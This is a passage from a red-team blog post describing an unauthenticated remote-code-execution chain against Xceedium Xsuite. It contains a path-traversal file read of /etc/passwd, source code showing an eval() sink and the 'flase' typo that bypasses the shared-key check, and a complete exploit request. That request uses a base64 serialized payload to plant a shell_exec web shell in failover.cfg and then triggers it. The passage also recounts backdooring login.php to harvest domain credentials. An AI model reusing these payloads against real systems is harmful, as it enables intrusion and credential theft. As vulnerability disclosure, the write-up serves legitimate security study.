href="https://target.com/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd">/opm/read_sessionlog.php?logFile=....//....//....//etc/passwd</a></pre><p>Naturally, the only ports that could be accessed over the internet were 80 &amp; 443. Despite being able to read various hashes from the /etc/passwd file, they were useless to us:</p><pre>sshtel:ssC/xRTT&lt;REDACTED&gt;:300:99:sshtel:/tmp:/usr/bin/telnet<br>sftpftp:$1$7vs1J&lt;REDACTED&gt;:108:108:/home/sftpftp</pre><p>At this point I believed the best way forward was to find the hosts document_root, and to start downloading source code. I could then manually audit the code with the intention of finding additional vulnerabilities in Xceedium Xsuite. After reading numerous Apache configuration files the document_root was found:</p><pre>/var/www/htdocs/uag/web/</pre><p>So far we only know the location of two pages:</p><pre>/var/www/htdocs/uag/web/opm/read_sessionlog.php<br>/var/www/htdocs/uag/web/login.php</pre><p>The source code for both of these files was downloaded using the arbitrary file read and reviewed to find references to any other PHP or configuration files. These were also downloaded. Whilst this process could have been scripted, it was decided that since I would be auditing the code, I may as well manually retrieve the source code during the auditing process (This also has the added benefit of limiting requests to the target host).</p><p>After a day of manually downloading and auditing PHP I believed I had a good enough understanding of how the application works and had found a few bugs/interesting functions. In addition to the RCE outlined in this post, other vulnerabilities were found along the way such as an additional arbitrary file read and various SQL injection issues. As I could already read local files &amp; no database appeared to be configured, these were useless. My only interest at this point was RCE.</p><p><strong>The road to code execution</strong><br>One of the interesting functions I had highlighted was linkDB() which reads the contents of /var/uag/config/failover.cfg line by line and passes it to the eval() function. This means that if we somehow find a method to write PHP code to failover.cfg, we may then be able to call the linkDB()function to execute remote code on the host. Interesting, but we currently have no control over failover.cfg or its contents.</p><pre>/var/www/htdocs/uag/functions/DB.php</pre><pre>function linkDB($db, $dbtype=&#39;&#39;, $action = &quot;die&quot;) {<br>    global $dbchoices, $sync_on, $members, $shared_key;<br>    if(!$dbchoices){<br>        $dbchoices = array(&quot;mysql&quot;, &quot;&lt;REDACTED&gt;&quot;, &quot;&lt;REDACTED&gt;&quot;);<br>    }</pre><pre>    //reads file into array &amp; saves to $synccfg<br>    $synccfg = file(&quot;/var/uag/config/failover.cfg&quot;);</pre><pre>    //iterates through contents of array<br>    foreach ($synccfg as $line) {<br>        $line = trim($line);<br>        $keyval = explode(&quot;=&quot;, $line);</pre><pre>        //saves contents to $cmd variable<br>        $cmd =&quot;\$param_&quot;.$keyval[0].&quot;=\&quot;&quot;.$keyval[1].&quot;\&quot;;&quot;;</pre><pre>        //evaluates the contents of the $cmd variable<br>        eval($cmd);                     <br>    }<br>…<br>}</pre><p>After a while I located the functionality that populates /var/uag/config/failover.cfg (This code has been modified slightly to avoid including numerous lines of string parsing!).</p><pre>/var/www/htdocs/uag/functions/activeActiveCmd.php</pre><pre>function putConfigs($post) {<br>    …<br>    $file = &quot;/var/uag/config/failover.cfg&quot;;<br>    $post = unserialize(base64_decode($post)); &lt;-- ignore this ;)</pre><pre>    …</pre><pre>    $err = saveconfig($file, $post);<br>    …</pre><pre>}</pre><p>To summarise: We now know the contents of failover.cfg are passed to eval(), which may lead to code execution. We know the putConfigs() function takes a parameter, passes it to base64_decode(), passes it to unserialize() (again, let’s just pretend you never saw this!) and then saves it to failover.cfg Now we need to see where the $post variable that is used in putConfigs() originates from and if we have any control over it.</p><pre>/var/www/htdocs/uag/functions/activeActiveCmd.php</pre><pre>function activeActiveCmdExec($get) {<br>…<br>// process the requested command<br>switch ($get[&quot;cmdtype&quot;]) {</pre><pre>…<br>    case &quot;CHECKLIST&quot;:<br>        confirmCONF($get);<br>        break;<br>    case &quot;PUTCONFS&quot; :<br>        putConfigs($get[&quot;post&quot;]);<br>        break;<br>…<br>}</pre><p>So the $get parameter being passed to putConfigs() originates from a parameter being passed to the activeActiveCmdExec() function.</p><pre>/var/www/htdocs/uag/functions/ajax_cmd.php</pre><pre>if ($_GET[&quot;cmd&quot;] == &quot;ACTACT&quot;) {<br>    if (!isset($_GET[&#39;post&#39;])) {<br>        $matches = array();<br>        preg_match(&#39;/.*\&amp;post\=(.*)\&amp;?$/&#39;, $_SERVER[&#39;REQUEST_URI&#39;], $matches);<br>        $_GET[&#39;post&#39;] = $matches[1];<br>    }<br>    activeActiveCmdExec($_GET);<br>}</pre><p>So activeActiveCmdExec() takes direct user input. This means we can directly control the input to activeActiveCmdExec(), which is then passed to putConfigs(), base64_decode(), unserialize(), and finally saved into /var/uag/config/failover.cfg. We can now create a serialized, base64 encoded request that will be saved into failover.cfg, afterwards we can then invokelinkDB() which will pass the file containing our malicious code to eval() and we have achieved code execution… Or so I thought.</p><p>As we will be overwriting a configuration file, one mistake and we may brick the device and have a rather unhappy customer on our hands. Even if we don’t brick the device, we may only get one chance at writing to the config file. Because of this I decided to err on the side of caution and took the relevant parts of code and test our exploit locally. After a few attempts I was getting the message “BAD SHARED KEY”. Unfortunately I had overlooked something at the beginning of the activeActiveCmdExec() function:</p><pre>/var/www/htdocs/uag/functions/activeActiveCmd.php</pre><pre>function activeActiveCmdExec($get) {<br>    // check provided shared key<br>    $logres = checkSharedKey($get[&quot;shared_key&quot;]);<br>    if (!$logres) {<br>        echo &quot;BAD SHARED KEY&quot;;<br>        exit(0);<br>    }<br>…<br>}</pre><p>The function checks a valid shared key is passed via the $get variable. Without a legitimate key we cannot reach the functionality necessary to write our code to the failover.cfg file, we cannot invokelinkDB() to evaluate our code, and we cannot execute code on the remote host…</p><p>At this point I believed it may be time to go back to the drawing board and find a new method to attack the host (unsanitised user input being passed to unserialize() perhaps?). Fortunately as I have the ability to read local files, the shared key may be hard coded in the source code or saved in a readable config file. We can then include the key in our request, and pass this check. So let’s check the checkSharedKey() function to see where this shared key is saved.</p><pre>/var/www/htdocs/uag/functions/activeActiveCmd.php</pre><pre>function checkSharedKey($shared_key) {<br>    if (strlen($shared_key) != 32) {              //1<br>        return false;<br>    }<br>    if (trim($shared_key) == &quot;&quot;) {                //2<br>        return flase;<br>    }</pre><pre>if ($f = file(&quot;/var/uag/config/failover.cfg&quot;)) {<br>    foreach ($f as $row) {                        //3<br>        $row = trim($row);<br>        if ($row == &quot;&quot;) {<br>            continue;<br>        }<br>        $row_sp = preg_split(&quot;/=/&quot;, $row);<br>        if ($row_sp[0] == &quot;SHARED_KEY&quot;) {<br>            if ($shared_key == $row_sp[1])       //4<br>                return true;<br>            }<br>        }<br>    } else {<br>    return false;<br>    }<br>}</pre><p>This function does the following:<br>1) Check the key passed to it is 32 characters in length;<br>2) Check the key passed to it isn’t an empty string;<br>3) Read the failover.cfg file line by line;<br>4) Check the provided shared key matches the shared key in failover.cfg.</p><p>So we can use our arbitrary file read to extract the shared key from the /var/uag/config/failover.cfg file, append it to our request, write our serialised, base64’d PHP code to failover.cfg, invoke linkDB() to eval() our malicious code, and execute code on the remote host. After reading the contents of failover.cfg I was greeted with the following:</p><pre>/var/uag/config/failover.cfg</pre><pre>CLUSTER_MEMBERS=<br>ACTIVE_IFACE=<br>SHARED_KEY=<br>STATUS=<br>MY_INDEX=<br>CLUSTER_STATUS=<br>CLUSTER_IP=<br>CLUSTER_NAT_IP=<br>CLUSTER_FQDN=</pre><p>The file is empty.</p><p>We cannot steal the existing key to pass the authentication checks as there isn’t one configured. After again failing I turned my attention back to the checkSharedKey() functionality. The first thing the checkSharedKey() function does is check the provided key is 32 characters long. This means we cannot simply pass a blank key to pass the check. Once again it may be game over. However, after a while I noticed a subtle issue that I had previously overlooked. Did you see it?</p><pre>/var/www/htdocs/uag/functions/activeActiveCmd.php</pre><pre>function checkSharedKey($shared_key) {<br>    if (strlen($shared_key) != 32) {<br>        return false;<br>    }<br>    if (trim($shared_key) == &quot;&quot;) {<br>        return flase;               <br>    }<br>…<br>}</pre><p>Due to a typographic error, when a shared key is provided that is 32 characters in length, but empty after a call to trim(), the function will return “flase”. This will return the literal string “flase” instead of the Boolean value FALSE. Fortunately for us, the string “flase” has a Boolean value of TRUE, thus the key check will be successful and we can bypass the authorisation check.</p><p>Reviewing PHP’s trim() manual we find the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*Mxr0iyoU7XS0RAXANX5tVg.png" /><figcaption><a href="http://php.net/manual/en/function.trim.php">http://php.net/manual/en/function.trim.php</a></figcaption></figure><p>So in theory we can use 32 spaces, tabs, line feeds, carriage returns, null bytes, or vertical tabs to reach the necessary code paths required to execute code. All because somebody typed two characters the wrong way around in the word “false”!</p><p>To test our theory we can take the relevant parts of code, and write a small script that utilises the same logic as the Xsuite code.</p><pre>&lt;?php</pre><pre>//Take user input<br>$shared_key = $_GET[&#39;shared_key&#39;];</pre><pre>//Echo user input<br>echo &quot;Input: &quot; . $shared_key . &quot;\n&quot;;</pre><pre>//Echo the string length (Hopefully 32)<br>echo &quot;shared_key Length: &quot; . strlen($shared_key) . &quot;\n&quot;;</pre><pre>//Pass the input to the checkSharedKey() function<br>$logres = checkSharedKey($shared_key);</pre><pre>//Echo out the raw returned value<br>Echo &quot;Raw Returned Value: &quot;;<br>var_dump($logres);</pre><pre>//Echo the Boolean value of returned value<br>Echo &quot;Boolen returned Value: &quot;;<br>var_dump((bool) $logres);</pre><pre>//Echo either “bad shared key” or “auth bypassed” accordingly<br>if(!$logres)<br>{<br>    echo &quot;BAD SHARED KEY\n&quot;;<br>    exit(0);<br>} else {<br>    echo &quot;Auth Bypassed&quot;;<br>}</pre><pre>function checkSharedKey($shared_key) {<br>    if (strlen($shared_key) != 32) {<br>        return false;<br>    }</pre><pre>    if (trim($shared_key) == &quot;&quot;) {<br>        return flase;<br>    }</pre><pre>}<br>?&gt;</pre><p>I then tested a few inputs to see what happened:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*HZOjsiBNoy_c8CYniYabVQ.png" /></figure><p>As expected, passing a 32 character random string returns the Boolean value of FALSE and we do not bypass the checks. Now to try our theory of carriage returns/null bytes/etc:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*6i-QI3cNoLQ58Wyu9DgTOg.png" /></figure><p>As predicted, a string composed of 32 carriage returns, null bytes, etc will bypass the checkSharedKey() functionality. We can now bypass the authorisation checks to reach our desired code paths. As there are a lot of steps to this exploit and a significant number of things that may go wrong, it was decided that we should once again test the exploit locally with the relevant code.</p><p><strong>Exploitation</strong></p><p>After a while testing locally, the following exploitation steps had been refined:</p><ol><li>Poison failover.cfg with our malicious code using our $shared_key bypass:</li></ol><pre>ajax_cmd.php?cmd=ACTACT&amp;cmdtype=PUTCONFS&amp;shared_key=%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D&amp;post=YTo2OntzOjExOiJyYWRpb19pZmFjZSI7czo1OiJpZmFjZSI7czoxNToiY2x1c3Rlcl9tZW1iZXJzIjthOjE6e2k6MDtzOjk6IjEyNy4wLjAuMSI7fXM6MTM6InR4X3NoYXJlZF9rZXkiO3M6MzI6IkFBQUFCQkJCQ0NDQ0RERFhYQUFBQkJCQkNDQ0NEREREIjtzOjY6InN0YXR1cyI7czozOiJPRkYiO3M6MTI6ImNsdXN0ZXJfZnFkbiI7czo1NToidGVzdC5kb21haW4iO2VjaG8gc2hlbGxfZXhlYyh1cmxkZWNvZGUoJF9QT1NUWydjJ10pKTsvLyI7czoxMDoiY2x1c3Rlcl9pcCI7czo5OiIxMjcuMC4wLjEiO30=</pre><p>Decoding the contest of the post parameter gives the following serialized payload:</p><pre>a:6:{s:11:&quot;radio_iface&quot;;s:5:&quot;iface&quot;;s:15:&quot;cluster_members&quot;;a:1:{i:0;s:9:&quot;127.0.0.1&quot;;}s:13:&quot;tx_shared_key&quot;;s:32:&quot;AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD&quot;;s:6:&quot;status&quot;;s:3:&quot;OFF&quot;;s:12:&quot;cluster_fqdn&quot;;s:55:&quot;test.domain&quot;;echo shell_exec(urldecode($_POST[&#39;c&#39;]));//&quot;;s:10:&quot;cluster_ip&quot;;s:9:&quot;127.0.0.1&quot;;}</pre><p>which corresponds to a PHP object of the form:</p><pre>$data = array();<br>$data[&#39;radio_iface&#39;] = &quot;iface&quot;;<br>$data[&#39;cluster_members&#39;] = array(&quot;127.0.0.1&quot;);<br>$data[&#39;tx_shared_key&#39;] = &quot;AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD&quot;;<br>$data[&#39;status&#39;] = &quot;OFF&quot;;<br>$data[&#39;cluster_fqdn&#39;] = &quot;test.domain<strong>&quot;;echo shell_exec(urldecode($_POST[&#39;c&#39;]));//&quot;</strong>;s:10:&quot;cluster_ip&quot;;s:9:&quot;127.0.0.1&quot;;}</pre><p>2. Verify the config file has been successfully poisoned by reading it back using the arbitrary file read vulnerability in read_sessionlog.php:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*LbBEvhKLiuSGRUFgXh2x-A.png" /></figure><p>3. Invoke linkDB() to eval() the contents of failover.cfg and execute a command.</p><pre>POST /ajax_cmd.php?cmd=get_applet_params&amp;sess_id=1&amp;host_id=1&amp;task_id=1</pre><pre>c=whoami</pre><p><strong>Conclusion</strong></p><p>Upon first discovering the Xceedium device, it appeared we had struck gold. A significantly outdated device with publicly available exploits resulting in RCE. Naturally this was not the case and successful compromise took significantly more time and effort than originally expected.</p><p>For those of you who are curious how the rest of the engagement went. Upon compromising the device we quickly discovered a method to gain root access to the device. Due to the nature of Xceedium Xsuite (Identity and Access Management), hundreds of users were authenticating to the device every day. With root access we simply backdoored login.php to steal hundreds of domain credentials. Fortunately for us some of the clear-text credentials we captured were domain/enterprise administrators. This allowed us complete access to various domains across the globe. Obviously the goal of red teaming isn’t to gain domain administrator, but it certainly helps. :)</p><p>As previously mentioned, I’m sorry that there aren’t more screenshots showing the actual attack, however I don’t want to risk outing the client. Additionally, at the time of discovery I had no intentions of releasing this bug publicly. Finally I wish I could say Xceedium (Now CA Technologies) were a treat to work with during the disclosure process however that would be a lie.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbf8773df767" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>